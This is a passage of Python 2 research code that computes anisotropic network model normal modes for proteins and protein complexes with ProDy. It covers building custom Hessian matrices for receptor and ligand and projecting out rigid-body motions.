encounter, ref_chain = None, counterpart_chain = None, chain_complex = None, selstr='calpha', whatAtomsToMatch='calpha',): """ Calculate the ANMs for the NMA. If examinations on the complex, it is assumed (for now) that the reference protein is the receptor. """ if (ref_chain == None) and (counterpart_chain == None) and (chain_complex == None): self.bound_provided = False else: self.bound_provided = True if self.utils.config.investigationsOn == "Individual" or self.utils.config.investigationsOn == "Complex" : assert self.utils.config.whichCustomHIndividual == "HC_subvector" or self.utils.config.whichCustomHIndividual == "submatrix" or self.utils.config.whichCustomHIndividual == "canonical" numberOfModesComplex = min((proteinComplex.select('calpha').numAtoms()*3 - 6), self.utils.config.maxModesToCalculate) if ref_chain != None: self._anm_reference, self._anm_reference_slc = self._calcANMsUnified(reference, numberOfModes, selstr, whatAtomsToMatch, ref_chain) else: self._anm_reference, self._anm_reference_slc = self._calcANMsUnified(reference, numberOfModes, selstr, whatAtomsToMatch) self._anm_counterpart = calcANM(counterpart, n_modes = numberOfModes, selstr = selstr, zeros = True) if chain_complex != None: self._anm_complex, self._anm_complex_slc = self._calcANMsUnified(proteinComplex, numberOfModesComplex, selstr, whatAtomsToMatch, chain_complex) else: self._anm_complex, self._anm_complex_slc = self._calcANMsUnified(proteinComplex, numberOfModesComplex, selstr, whatAtomsToMatch) # elif self.utils.config.investigationsOn == "Complex": # numberOfModesComplex = numberOfModes*2 # self._anm_reference, self._anm_reference_slc = self._calcANMsUnified(reference, numberOfModes, selstr, whatAtomsToMatch, ref_chain) # self._anm_counterpart, self._anm_counterpart_slc = self._calcANMsUnified(counterpart, numberOfModes, selstr, whatAtomsToMatch, counterpart_chain) # self._anm_complex, self._anm_complex_slc = self._calcANMsUnified(proteinComplex, numberOfModesComplex, selstr, whatAtomsToMatch, chain_complex) print "anm_reference anm_counterpart, anm_complex getArray() shapes : ", self._anm_reference[0].getArray().shape, self._anm_counterpart[0].getArray().shape, self._anm_complex[0].getArray().shape print "anm_reference_slc, anm_complex_slc getArray() shapes : ", self._anm_reference_slc[0].getArray().shape, self._anm_complex_slc[0].getArray().shape # create custom H via U1 if self.utils.config.customH: HC = self._anm_complex[0].getHessian() if self.utils.isReceptor(reference.getTitle()): HR = self._anm_reference[0].getHessian() HL = self._anm_counterpart[0].getHessian() else: HR = self._anm_counterpart[0].getHessian() HL = self._anm_reference[0].getHessian() HRtilde = HC[:HR.shape[0], :HR.shape[1]] HLtilde = HC[HR.shape[0]:HR.shape[0]+HL.shape[0], HR.shape[1]:HR.shape[1]+HL.shape[1]] assert HR.shape == HRtilde.shape assert HL.shape == HLtilde.shape # for now assert that reference is always the receptor if self.utils.config.investigationsOn == "Complex": assert self.utils.isReceptor(reference.getTitle()) HCcustomBuild = np.zeros((HC.shape[0], HC.shape[1])) if self.utils.isReceptor(reference.getTitle()): if self.utils.config.whichCustomHC == "HC_U1" or self.utils.config.whichCustomHC == "HC_U1_1k1k": HRtildeH_ANew, interCalphaIndicesHR = self.calcCustomH_ANew(HR.copy(), encounter.getReference(), encounter.getUnboundCounterpart(), encounter, "C_u", "r_ij", True, selstr) HLtildeH_ANew, interCalphaIndicesHL = self.calcCustomH_ANew(HL.copy(), encounter.getUnboundCounterpart(), encounter.getReference(), encounter, "C_u", "r_ij", False, selstr) HRL_new = self.calcCustomH_ANew_IJ(encounter.getReference(), encounter.getUnboundCounterpart(), encounter, False, "r_ij", True, selstr) elif self.utils.config.whichCustomHC == "HC_0" or self.utils.config.whichCustomHC == "HC_06": HRtildeH_ANew = HR.copy() HLtildeH_ANew = HL.copy() HRL_new = np.zeros(((reference.select('calpha').numAtoms()*3), (counterpart.select('calpha').numAtoms()*3) )) interCalphaIndicesHR = None interCalphaIndicesHL = None print "reference is receptor, shapes of HRtilde, HLtilde, HRL: ", HRtildeH_ANew.shape, HLtildeH_ANew.shape, HRL_new.shape else: if self.utils.config.whichCustomHC == "HC_U1": HRtildeH_ANew, interCalphaIndicesHR = self.calcCustomH_ANew(HR.copy(), encounter.getUnboundCounterpart(), encounter.getReference(), encounter, "C_u", "r_ij", False, selstr) HLtildeH_ANew, interCalphaIndicesHL = self.calcCustomH_ANew(HL.copy(), encounter.getReference(), encounter.getUnboundCounterpart(), encounter, "C_u", "r_ij", True, selstr) HRL_new = self.calcCustomH_ANew_IJ(encounter.getUnboundCounterpart(), encounter.getReference(), encounter, False, "r_ij", False, selstr) print "reference is ligand, shapes of HLtilde, HRtilde, HRL: ", HLtildeH_ANew.shape, HRtildeH_ANew.shape, HRL_new.shape # put the new HRtilde and HLtilde inside HC HCcustomBuild[:HR.shape[0], :HR.shape[1]] = HRtildeH_ANew HCcustomBuild[HR.shape[0]:HR.shape[0]+HL.shape[0], HR.shape[1]:HR.shape[1]+HL.shape[1]] = HLtildeH_ANew HCcustomBuild[0:HR.shape[0], HR.shape[1]:HR.shape[1]+HL.shape[1]] = HRL_new HCcustomBuild[HR.shape[0]:HR.shape[0]+HL.shape[0], 0:HR.shape[1]] = HRL_new.T # optional assertion to test if HCcustomBuild equals the original HC if k = 1 and d = 15 (default ProDy settings) if (self.utils.config.whichCustomHC == "HC_U1" and self.utils.config.customHRdistance == 15 and self.utils.config.customForceConstant == 1.0): # assert np.allclose(HC, HCcustomBuild) # assert this if k = 1, A = 15 print "not asserting HCcustomBuild equals original HC with k1 A15" # Projection # def projectHessian(self, hessian, reference, proteinComplex, referenceSegment, projectionStyle, projectOnlyReferencePartOfHC=False, interCalphaIndices=None): if self.utils.config.projectHessian: if self.utils.config.investigationsOn == "Individual" or self.utils.config.investigationsOn == "Complex": if self.utils.isReceptor(reference.getTitle()): if self.utils.config.whichCustomHC == "HC_U1": if self.utils.config.projectionStyle == "full" or self.utils.config.projectionStyle == "intra": if self.utils.config.whichCustomHIndividual == "HC_subvector": HCcustomBuild = self.projectHessian(HCcustomBuild.copy(), reference, proteinComplex, "R", self.utils.config.projectionStyle, True, interCalphaIndicesHR) #HCcustomBuild = self.projectHessian(HCcustomBuild.copy(), proteinComplex, proteinComplex, '', self.utils.config.projectionStyle, False, interCalphaIndicesHR) elif self.utils.config.whichCustomHIndividual == "submatrix": HRtildeH_ANew = self.projectHessian(HRtildeH_ANew.copy(), reference, proteinComplex, "R", self.utils.config.projectionStyle, False, interCalphaIndicesHR) elif self.utils.config.projectionStyle == "fixedDomainFrame": HCcustomBuild = self.transformHessianToFixedDomainFrame(HCcustomBuild.copy(), reference, proteinComplex, "R", self.utils.config.projectionStyle) # else reference is the ligand else: if self.utils.config.whichCustomHC == "HC_U1": if self.utils.config.projectionStyle == "full" or self.utils.config.projectionStyle == "intra": if self.utils.config.whichCustomHIndividual == "HC_subvector": HCcustomBuild = self.projectHessian(HCcustomBuild.copy(), reference, proteinComplex, "L", self.utils.config.projectionStyle, True, interCalphaIndicesHL) #HCcustomBuild = self.projectHessian(HCcustomBuild.copy(), proteinComplex, proteinComplex, '', self.utils.config.projectionStyle, False, interCalphaIndicesHL) elif self.utils.config.whichCustomHIndividual == "submatrix": HLtildeH_ANew = self.projectHessian(HLtildeH_ANew.copy(), reference, proteinComplex, "L", self.utils.config.projectionStyle, False, interCalphaIndicesHL) elif self.utils.config.projectionStyle == "fixedDomainFrame": HCcustomBuild = self.transformHessianToFixedDomainFrame(HCcustomBuild.copy(), reference, proteinComplex, "L", self.utils.config.projectionStyle) elif self.utils.config.investigationsOn == "Complex": # project out the rigid body motions of the receptor. if the goal is to project the whole complex, do: HCcustomBuild = self.projectHessian(HCcustomBuild, proteinComplex, proteinComplex, '') if self.utils.config.projectionStyle == "full" or self.utils.config.projectionStyle == "intra": HCcustomBuild = self.projectHessian(HCcustomBuild.copy(), reference, proteinComplex, "R", self.utils.config.projectionStyle, True, interCalphaIndicesHR) elif self.utils.config.projectionStyle == "fullComplex": HCcustomBuild = self.projectHessian(HCcustomBuild.copy(), proteinComplex, proteinComplex, '', self.utils.config.projectionStyle) elif self.utils.config.projectionStyle == "fixedDomainFrame": HCcustomBuild = self.transformHessianToFixedDomainFrame(HCcustomBuild.copy(), reference, proteinComplex, "R", self.utils.config.projectionStyle) else: raise Exception('unknown projection style') if self.utils.config.investigationsOn == "Complex" or self.utils.config.whichCustomHIndividual == "HC_subvector": # Create the custom complex ANM self._anm_complex_tilde = ANM(self._anm_complex[0].getTitle()+"_"+self.utils.config.whichCustomHC) self._anm_complex_tilde.setHessian(HCcustomBuild) if self.utils.config.calculateZeroEigvalModes: if self.utils.config.whichCustomHC == "HC_0" or self.utils.config.whichCustomHC == "HC_06": numberOfModesComplex += 6 self._anm_complex_tilde.calcModes(n_modes=numberOfModesComplex, zeros=True) else: self._anm_complex_tilde.calcModes(n_modes=numberOfModesComplex) # Extend the self._anm_reference_tilde on all atoms anm_complex_tilde_extend = extendModel(self._anm_complex_tilde, self._anm_complex[1], proteinComplex, norm=True) # Then slice the anm_complex to the matched atoms self._anm_complex_tilde_slc = sliceModel(anm_complex_tilde_extend[0], anm_complex_tilde_extend[1], selstr) # Normalize the modes of the sliced anm self._anm_complex_tilde_slc = self.getNormalizedANM(self._anm_complex_tilde_slc) # Replace the complex anm and the complex_slc anm with the modified ANMs print "Replacing ANM H with ANM Htilde for the complex" self._anm_complex = (self._anm_complex_tilde, self._anm_complex[1]) self._anm_complex_slc = self._anm_complex_tilde_slc # modify HR to have the sliced part of HC_tilde if self.utils.config.investigationsOn == "Individual" or self.utils.config.investigationsOn == "Complex": if self.utils.config.whichCustomHIndividual == "HC_subvector": Marray = self.utils.sliceComplexModestoMatchProtein(self._anm_complex[0].getArray(), reference, encounter.getReferenceSegment()) self._anm_reference_tilde = ANM(self._anm_reference[0].getTitle()+"_"+self.utils.config.whichCustomHC) self._anm_reference_tilde.setEigens(Marray, self._anm_complex[0].getEigvals()) self._anm_reference_tilde = (self._anm_reference_tilde, self._anm_reference[1]) self._anm_reference_tilde = self.getNormalizedANM(self._anm_reference_tilde) # submatrix, take the new HRtilde/HLtilde, re-calculate its modes and replace the previous ANM elif self.utils.config.whichCustomHIndividual == "submatrix": if self.utils.isReceptor(reference.getTitle()): submatrix = HRtildeH_ANew else: submatrix = HLtildeH_ANew self._anm_reference_tilde = ANM(self._anm_reference[0].getTitle()+"_"+self.utils.config.whichCustomHC) self._anm_reference_tilde.setHessian(submatrix) if self.utils.config.calculateZeroEigvalModes: self._anm_reference_tilde.calcModes(n_modes=numberOfModes, zeros=True) else: self._anm_reference_tilde.calcModes(n_modes=numberOfModes) self._anm_reference_tilde = (self._anm_reference_tilde, self._anm_reference[1]) # Extend the self._anm_reference_tilde on all atoms anm_reference_tilde_extend = extendModel(self._anm_reference_tilde[0], self._anm_reference[1], reference, norm=True) # Then slice the anm_reference to the matched self._anm_reference_tilde_slc = sliceModel(anm_reference_tilde_extend[0], anm_reference_tilde_extend[1], selstr) self._anm_reference_tilde_slc = self.getNormalizedANM(self._anm_reference_tilde_slc) # Replace reference and reference_slc with the modified ANMs print "Replacing ANM H with ANM Htilde for the reference" self._anm_reference = self._anm_reference_tilde self._anm_reference_slc = self._anm_reference_tilde_slc def calcANMsForPart2b2k(self, reference, counterpart, proteinComplex, ref_chain, counterpart_chain, chain_complex, numberOfModes, encounter, selstr='calpha', whatAtomsToMatch='calpha'): """ Unbound complex to bound complex NMA, it is assumed that the reference is the receptor and is the first object in the complex pdb file This method creates self.* NMA objects Args: reference: the receptor protein counterpart: the ligand protein proteinComplex: the protein complex ref_chain: the matched part of the reference counterpart_chain: the matched part of the counterpart chain_complex: the matched part on the complex numberOfModes: the 2k number of modes encounter: object aggregating proteins selstr: the selection string for the NMA, course grained is calpha """ # Create the anm of reference, counterpart and proteinComplex) self._anm_reference, self._anm_reference_slc = self._calcANMsUnified(reference, ref_chain, numberOfModes/2, selstr, whatAtomsToMatch) self._anm_counterpart, self._anm_counterpart_slc = self._calcANMsUnified(counterpart, counterpart_chain, numberOfModes/2, selstr, whatAtomsToMatch) self._anm_complex, self._anm_complex_slc = self._calcANMsUnified(proteinComplex, chain_complex, numberOfModes, selstr, whatAtomsToMatch) print "anm_reference anm_counterpart, anm_complex getArray() shapes : ", self._anm_reference[0].getArray().shape, self._anm_counterpart[0].getArray().shape, self._anm_complex[0].getArray().shape print "anm_reference_slc, anm_counterpart_slc, anm_complex_slc getArray() shapes : ", self._anm_reference_slc[0].getArray().shape, self._anm_counterpart_slc[0].getArray().shape, self._anm_complex_slc[0].getArray().shape # modify the hessians if self.utils.config.customH: HC = self._anm_complex[0].getHessian() if self.utils.isReceptor(reference.getTitle()): HR = self._anm_reference[0].getHessian() HL = self._anm_counterpart[0].getHessian() else: HR = self._anm_counterpart[0].getHessian() HL = self._anm_reference[0].getHessian() HRtilde = HC[:HR.shape[0], :HR.shape[1]] HLtilde = HC[HR.shape[0]:HR.shape[0]+HL.shape[0], HR.shape[1]:HR.shape[1]+HL.shape[1]] assert HR.shape == HRtilde.shape assert HL.shape == HLtilde.shape # for now assert that reference is always the receptor, in case of complex investigation assert self.utils.isReceptor(reference.getTitle()) HCcustomBuild = np.zeros((HC.shape[0], HC.shape[1])) if self.utils.config.whichCustomHC == "HC_U1": # create the complex hessian with interactions on the off diagonal using U1 print "HC_U1" HRtildeH_ANew = self.calcCustomH_ANew(HR.copy(), encounter.getReference(), encounter.getUnboundCounterpart(), encounter, "C_u", "r_ij", True, selstr) HLtildeH_ANew = self.calcCustomH_ANew(HL.copy(), encounter.getUnboundCounterpart(), encounter.getReference(), encounter, "C_u", "r_ij", False, selstr) HRL_new = self.calcCustomH_ANew_IJ(encounter.getReference(), encounter.getUnboundCounterpart(), encounter, False, "r_ij", True, selstr) elif self.utils.config.whichCustomHC == "HC_0" or self.utils.config.whichCustomHC == "HC_06": # create the hessian by just using canonical HR and HL and offmatrices zero print "HC_0 or HC_06" HRtildeH_ANew = HR.copy() HLtildeH_ANew = HL.copy() HRL_new = np.zeros(((reference.select('calpha').numAtoms()*3), (counterpart.select('calpha').numAtoms()*3) )) print "reference is receptor, shapes of HRtilde, HLtilde, HRL: ", HRtildeH_ANew.shape, HLtildeH_ANew.shape, HRL_new.shape print "finished projecting H, anm_reference_tilde calc modes" # put the new HRtilde and HLtilde inside HC HCcustomBuild[:HR.shape[0], :HR.shape[1]] = HRtildeH_ANew HCcustomBuild[HR.shape[0]:HR.shape[0]+HL.shape[0], HR.shape[1]:HR.shape[1]+HL.shape[1]] = HLtildeH_ANew HCcustomBuild[0:HR.shape[0], HR.shape[1]:HR.shape[1]+HL.shape[1]] = HRL_new HCcustomBuild[HR.shape[0]:HR.shape[0]+HL.shape[0], 0:HR.shape[1]] = HRL_new.T #if self.utils.config.whichCustomHC == "HC_U1": # assert np.allclose(HC, HCcustomBuild) # assert this if k = 1, A = 15 # print "asserted HC with k1 A 15" if self.utils.config.projectHessian: HCcustomBuild = self.projectHessian(HCcustomBuild, proteinComplex, proteinComplex, '') # make HC anm self._anm_complex_tilde = ANM(self._anm_complex[0].getTitle()+"_"+self.utils.config.whichCustomHC) self._anm_complex_tilde.setHessian(HCcustomBuild) self._anm_complex_tilde.calcModes(n_modes=numberOfModes) # Extend the self._anm_reference_tilde on all atoms anm_complex_tilde_extend = extendModel(self._anm_complex_tilde, self._anm_complex[1], proteinComplex, norm=True) # Then slice the anm_complex to the matched atoms self._anm_complex_tilde_slc = sliceModel(anm_complex_tilde_extend[0], anm_complex_tilde_extend[1], chain_complex.getSelstr()) # Replace the complex anm and the complex_slc anm with the modified ANMs print "Replacing ANM H with ANM Htilde for the complex" self._anm_complex = (self._anm_complex_tilde, self._anm_complex[1]) self._anm_complex_slc = self._anm_complex_tilde_slc def calcANMsForPart2b(self, reference, counterpart, proteinComplex, ref_chain, counterpart_chain, chain_complex, numberOfModes, encounter, selstr='calpha', whatAtomsToMatch='calpha'): """ Create the ANMs of the reference, counterpart and complex objects. If set in config, project the hessian matrix of the reference to ensure 6 zero eigenvalue modes, see formula 8.27 from the book "A practical introduction to the simulation of molecular dynamics", Field. """ self._anm_reference, self._anm_reference_slc = self._calcANMsUnified(reference, ref_chain, numberOfModes, selstr, whatAtomsToMatch) self._anm_counterpart = calcANM(counterpart, selstr=selstr) # self._moveSegment(proteinComplex, "L", 50) numberOfModesComplex = min((proteinComplex.select('calpha').numAtoms()*3 - 6), self.utils.config.maxModesToCalculate) self._anm_complex, self._anm_complex_slc = self._calcANMsUnified(proteinComplex, chain_complex, numberOfModesComplex, selstr, whatAtomsToMatch) # project hessian matrix if self.utils.config.projectHessian: HC = self._anm_complex[0].getHessian() if self.utils.isReceptor(reference.getTitle()): HR = self._anm_reference[0].getHessian() HL = self._anm_counterpart[0].getHessian() else: HR = self._anm_counterpart[0].getHessian() HL = self._anm_reference[0].getHessian() HRtilde = HC[:HR.shape[0], :HR.shape[1]] HLtilde = HC[HR.shape[0]:HR.shape[0]+HL.shape[0], HR.shape[1]:HR.shape[1]+HL.shape[1]] assert HR.shape == HRtilde.shape assert HL.shape == HLtilde.shape ## #writeArray("HRtildefromHC.txt", HRtilde, format='%f') #writeArray("HLtildefromHC.txt", HLtilde, format='%f') ## # Create the tilde ANM self._anm_reference_tilde = ANM(self._anm_reference[0].getTitle()+"_tilde") # Here the PH'P treatment for the hessian matrix from the normal modes book by Field if self.utils.isReceptor(reference.getTitle()): if self.utils.config.modifyHDelta: print "modifying HR with deltaHR" HRtilde = self.addscaledHdelta(HR, HRtilde, self.utils.config.deltamultiplicatorForH) # if using terms with true bound structure second derivation parts r_{ij}-r_{ij}^{2} if self.utils.config.customHR_A: #writeArray("originalHR.txt", self._anm_reference[0].getHessian(), format='%f') HRtilde = self.calcCustomH_A_NeighborsBound(self._anm_reference[0].getHessian(), encounter, selstr) #writeArray("customHRtilde.txt", HRtilde, format='%f') print "reference is receptor, shape of HRtilde: ", HRtilde.shape HRtilde = self.projectHessian(HRtilde, reference, proteinComplex, encounter.getReferenceSegment()) self._anm_reference_tilde.setHessian(HRtilde) else: if self.utils.config.modifyHDelta: print "modifying HL with deltaHL" HLtilde = self.addscaledHdelta(HL, HLtilde, self.utils.config.deltamultiplicatorForH) # if using terms with true bound structure second derivation parts r_{ij}-r_{ij}^{2} if self.utils.config.customHR_A: #writeArray("originalHL.txt", self._anm_reference[0].getHessian(), format='%f') HLtilde = self.calcCustomH_A_NeighborsBound(self._anm_reference[0].getHessian(), encounter, selstr) #writeArray("customHLtilde.txt", HLtilde, format='%f') print "reference is ligand, shape of HLtilde: ", HLtilde.shape HLtilde = self.projectHessian(HLtilde, reference, proteinComplex, encounter.getReferenceSegment()) self._anm_reference_tilde.setHessian(HLtilde) print "finished projecting H, anm_reference_tilde calc modes" # testing of projected eigenvals self._anm_reference_tilde.calcModes(n_modes=numberOfModes) #print "HR eigenvals: ", self._anm_reference[0].getEigvals()[0:10] #print "HRtilde eigenvals: ", self._anm_reference_tilde.getEigvals()[0:10] # Extend the self._anm_reference_tilde on all atoms anm_reference_tilde_extend = extendModel(self._anm_reference_tilde, self._anm_reference[1], reference, norm=True) # Then slice the anm_reference to the matched self._anm_reference_tilde_slc = sliceModel(anm_reference_tilde_extend[0], anm_reference_tilde_extend[1], ref_chain.getSelstr()) # Replace reference and reference_slc with the modified ANMs print "Replacing ANM H with ANM Htilde for the reference" self._anm_reference = (self._anm_reference_tilde, self._anm_reference[1]) self._anm_reference_slc = self._anm_reference_tilde_slc if self.utils.config.HR1kHRtilde1k: self._anm_reference_original, self._anm_reference_slc_original = self._calcANMsUnified(reference, ref_chain, numberOfModes, selstr, whatAtomsToMatch) def calcANMsForPart2bIndividualProtein_U1(self, reference, counterpart, proteinComplex, ref_chain, counterpart_chain, chain_complex, numberOfModes, encounter, selstr='calpha', whatAtomsToMatch='calpha'): """ Create the ANMs of the reference, counterpart and complex objects. If set in config, project the hessian matrix of the reference to ensure 6 zero eigenvalue modes, see formula 8.27 from the book "A practical introduction to the simulation of molecular dynamics", Field. """ self._anm_reference, self._anm_reference_slc = self._calcANMsUnified(reference, ref_chain, numberOfModes, selstr, whatAtomsToMatch) self._anm_counterpart = calcANM(counterpart, selstr=selstr) # self._moveSegment(proteinComplex, "L", 50) numberOfModesComplex = min((proteinComplex.select('calpha').numAtoms()*3 - 6), self.utils.config.maxModesToCalculate) self._anm_complex, self._anm_complex_slc = self._calcANMsUnified(proteinComplex, chain_complex, numberOfModesComplex, selstr, whatAtomsToMatch) ### print "anm_reference anm_counterpart, anm_complex getArray() shapes : ", self._anm_reference[0].getArray().shape, self._anm_counterpart[0].getArray().shape, self._anm_complex[0].getArray().shape print "anm_reference_slc, anm_complex_slc getArray() shapes : ", self._anm_reference_slc[0].getArray().shape, self._anm_complex_slc[0].getArray().shape # create custom H via U1 if self.utils.config.customH: HC = self._anm_complex[0].getHessian() if self.utils.isReceptor(reference.getTitle()): HR = self._anm_reference[0].getHessian() HL = self._anm_counterpart[0].getHessian() else: HR = self._anm_counterpart[0].getHessian() HL = self._anm_reference[0].getHessian() HRtilde = HC[:HR.shape[0], :HR.shape[1]] HLtilde = HC[HR.shape[0]:HR.shape[0]+HL.shape[0], HR.shape[1]:HR.shape[1]+HL.shape[1]] assert HR.shape == HRtilde.shape assert HL.shape == HLtilde.shape # for now assert that reference is always the receptor HCcustomBuild = np.zeros((HC.shape[0], HC.shape[1])) if self.utils.isReceptor(reference.getTitle()): if self.utils.config.customHR_A: #HR, referenceStructure, neighborStructure, encounter, neighborhoodFrom, equilibriumAt, workOnReceptor=True, selstr='calpha' HRtildeH_ANew = self.calcCustomH_ANew(HR.copy(), encounter.getReference(), encounter.getUnboundCounterpart(), encounter, "C_u", "r_ij", True, selstr) HLtildeH_ANew = self.calcCustomH_ANew(HL.copy(), encounter.getUnboundCounterpart(), encounter.getReference(), encounter, "C_u", "r_ij", False, selstr) HRL_new = self.calcCustomH_ANew_IJ(encounter.getReference(), encounter.getUnboundCounterpart(), encounter, False, "r_ij", True, selstr) print "reference is receptor, shapes of HRtilde, HLtilde, HRL: ", HRtildeH_ANew.shape, HLtildeH_ANew.shape, HRL_new.shape else: if self.utils.config.customHR_A: HRtildeH_ANew = self.calcCustomH_ANew(HR.copy(), encounter.getUnboundCounterpart(), encounter.getReference(), encounter, "C_u", "r_ij", False, selstr) HLtildeH_ANew = self.calcCustomH_ANew(HL.copy(), encounter.getReference(), encounter.getUnboundCounterpart(), encounter, "C_u", "r_ij", True, selstr) HRL_new = self.calcCustomH_ANew_IJ(encounter.getUnboundCounterpart(), encounter.getReference(), encounter, False, "r_ij", False, selstr) print "reference is ligand, shapes of HLtilde, HRtilde, HRL: ", HLtildeH_ANew.shape, HRtildeH_ANew.shape, HRL_new.shape print "finished projecting H, anm_reference_tilde calc modes" # put the new HRtilde and HLtilde inside HC HCcustomBuild[:HR.shape[0], :HR.shape[1]] = HRtildeH_ANew HCcustomBuild[HR.shape[0]:HR.shape[0]+HL.shape[0], HR.shape[1]:HR.shape[1]+HL.shape[1]] = HLtildeH_ANew HCcustomBuild[0:HR.shape[0], HR.shape[1]:HR.shape[1]+HL.shape[1]] = HRL_new HCcustomBuild[HR.shape[0]:HR.shape[0]+HL.shape[0], 0:HR.shape[1]] = HRL_new.T #assert np.allclose(HC, HCcustomBuild) #sys.exit() # Project the reference part in the HCcustomBuild matrix if self.utils.isReceptor(reference.getTitle()): if self.utils.config.customHR_A: HCcustomBuildprojected = self.projectHessian(HCcustomBuild.copy(), reference, proteinComplex, "R", True) else: if self.utils.config.customHR_A: HCcustomBuildprojected = self.projectHessian(HCcustomBuild.copy(), reference, proteinComplex, "L", True) # Create the custom complex ANM self._anm_complex_tilde = ANM(self._anm_complex[0].getTitle()+"_tilde") self._anm_complex_tilde.setHessian(HCcustomBuildprojected) if self.utils.config.enforceAllModesAfterProjection: self._anm_complex_tilde.calcModes(n_modes=numberOfModes, zeros=True) else: self._anm_complex_tilde.calcModes(n_modes=numberOfModes) # Extend the self._anm_reference_tilde on all atoms anm_complex_tilde_extend = extendModel(self._anm_complex_tilde, self._anm_complex[1], proteinComplex, norm=True) # Then slice the anm_complex to the matched atoms self._anm_complex_tilde_slc = sliceModel(anm_complex_tilde_extend[0], anm_complex_tilde_extend[1], chain_complex.getSelstr()) # Replace the complex anm and the complex_slc anm with the modified ANMs print "Replacing ANM H with ANM Htilde for the complex" self._anm_complex = (self._anm_complex_tilde, self._anm_complex[1]) self._anm_complex_slc = self._anm_complex_tilde_slc # Create custom anm for reference if self.utils.config.enforceAllModesAfterProjection: Marray = self.utils.sliceComplexModestoMatchProtein(self._anm_complex[0].getArray()[:,6:], reference, encounter.getReferenceSegment()) self._anm_reference_tilde = ANM(self._anm_reference[0].getTitle()+"_tilde") self._anm_reference_tilde.setEigens(Marray, self._anm_complex[0].getEigvals()[6:]) else: Marray = self.utils.sliceComplexModestoMatchProtein(self._anm_complex[0].getArray(), reference, encounter.getReferenceSegment()) self._anm_reference_tilde = ANM(self._anm_reference[0].getTitle()+"_tilde") self._anm_reference_tilde.setEigens(Marray, self._anm_complex[0].getEigvals()) # Extend the self._anm_reference_tilde on all atoms anm_reference_tilde_extend = extendModel(self._anm_reference_tilde, self._anm_reference[1], reference, norm=True) # Then slice the anm_reference to the matched self._anm_reference_tilde_slc = sliceModel(anm_reference_tilde_extend[0], anm_reference_tilde_extend[1], ref_chain.getSelstr()) # # try modes comparison # ranges = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 20, 30, 40, 50, 60, 70] # # try: # subspaceOverlaps = [] # for val in ranges: # subspaceOverlaps.append(calcSubspaceOverlap(self._anm_reference[0][0:val], self._anm_reference_tilde[0:val])) # encounter.storeSubSpaceOverlaps(subspaceOverlaps, ranges) # except Exception: # sys.exc_clear() # # try: # MarrayNormed = self.utils.normalized(Marray.copy(), axis=0) # anm_reference_tilde_normed = ANM(self._anm_reference[0].getTitle()+"_tildenormed") # anm_reference_tilde_normed.setEigens(MarrayNormed, self._anm_complex[0].getEigvals()) # covarianceOverlaps = [] # for val in ranges: # covarianceOverlaps.append(calcCovOverlap(self._anm_reference[0][0:val], anm_reference_tilde_normed[0:val])) # encounter.storeCovarianceOverlap(covarianceOverlaps, ranges) # except Exception, err: # #sys.exc_clear() # print "Exception covarianceoverlap occurred: ", err # print traceback.format_exc() # # try: # overlapTable = getOverlapTable(self._anm_reference[0], self._anm_reference_tilde) # encounter.storeOverlapTable(overlapTable) # except Exception: # sys.exc_clear() # # Replace reference and reference_slc with the modified ANMs print "Replacing ANM H with ANM Htilde for the reference" self._anm_reference = (self._anm_reference_tilde, self._anm_reference[1]) self._anm_reference_slc = self._anm_reference_tilde_slc def _calcANMsUnified(self, reference, numberOfModes, selstr='calpha', whatAtomsToMatch='calpha', direct_call = None, ref_chain = None): # Create the anm of the reference #writePDB(reference.getTitle()+"forANMmoved.pdb", reference) if self.utils.config.calculateZeroEigvalModes == True: anm_reference = calcANM(reference, n_modes=numberOfModes, selstr=selstr, zeros=True) else: anm_reference = calcANM(reference, n_modes=numberOfModes, selstr=selstr) # Extend the anm_reference on all atoms anm_reference_extend = extendModel(anm_reference[0], anm_reference[1], reference, norm=True) # Then slice the anm_reference to the matched if direct_call == None: if self.bound_provided == True: anm_reference_slc = sliceModel(anm_reference_extend[0], anm_reference_extend[1], ref_chain.getSelstr()) else: anm_reference_slc = sliceModel(anm_reference_extend[0], anm_reference_extend[1], selstr) else: anm_reference_slc = sliceModel(anm_reference_extend[0], anm_reference_extend[1], selstr) # Normalize the slices anm anm_reference_slc = self.getNormalizedANM(anm_reference_slc) if direct_call == True: self._anm_reference = anm_reference self._anm_reference_slc = anm_reference_slc else: return anm_reference, anm_reference_slc def getNormalizedANM(self, anm): """ Normalize the modes of the anm and return this anm object Args: anm: the anm with modes calculated Returns: anm with normalized modes """ M = self.normalizeM(anm[0].getArray()) eigenvals = anm[0].getEigvals() anm[0].setEigens(M, eigenvals) return anm def _moveSegment(self, reference, segment, angstrom): """ Move all atoms x,y,z, belonging to the segment the number in angstrom """ print "15 ang contact before moving atoms:", reference.select('same residue as exwithin 15 of segment "L." ').numAtoms() ref_select = reference.select('segment \"'+segment+'.\"') ref_select.setCoords(ref_select.getCoords()+angstrom) if reference.select('same residue as exwithin 15 of segment "L." ') != None: print "15 ang contact after moving atoms: ", reference.select('same residue as exwithin 15 of segment "L." ').numAtoms() else: print "15 ang contact after moving atoms: 0" def replaceReferenceANMs(self, anm_new, reference, ref_chain = None): """ Replace the anm of reference with anm_new and normalize along the way. Args: anm_new: the new ANM reference: the protein the ANM was created on ref_chain: the matched chains of reference Result: replaced self._anm_reference and self._anm_reference_slc based on normalized anm_new """ self._anm_reference = anm_new self._anm_reference = self.getNormalizedANM(self._anm_reference) # Extend the self._anm_reference_tilde on all atoms anm_reference_extend = extendModel(self._anm_reference[0], self._anm_reference[1], reference, norm=True) # Then slice the anm_reference to the matched if ref_chain != None: self._anm_reference_slc = sliceModel(anm_reference_extend[0], anm_reference_extend[1], ref_chain.getSelstr()) else: self._anm_reference_slc = sliceModel(anm_reference_extend[0], anm_reference_extend[1], 'calpha') self._anm_reference_slc = self.getNormalizedANM(self._anm_reference_slc) def replaceComplexANMs(self, anm_new, proteinComplex, complex_chain = None): """ Replace the anm of the complex with anm_new and normalize along the way. Args: anm_new: the new ANM proteinComplex: the complex that the ANM was created on complex_chain: the matched chains of the complex Result: replaced self._anm_complex and self._anm_complex_slc based on normalized anm_new """ self._anm_complex = anm_new self._anm_complex = self.getNormalizedANM(self._anm_complex) # Extend the self.self._anm_complex_tilde on all atoms anm_complex_extend = extendModel(self._anm_complex[0], self._anm_complex[1], proteinComplex, norm=True) # Then slice the anm_reference to the matched if complex_chain != None: self._anm_complex_slc = sliceModel(anm_complex_extend[0], anm_complex_extend[1], complex_chain.getSelstr()) else: self._anm_complex_slc = sliceModel(anm_complex_extend[0], anm_complex_extend[1], 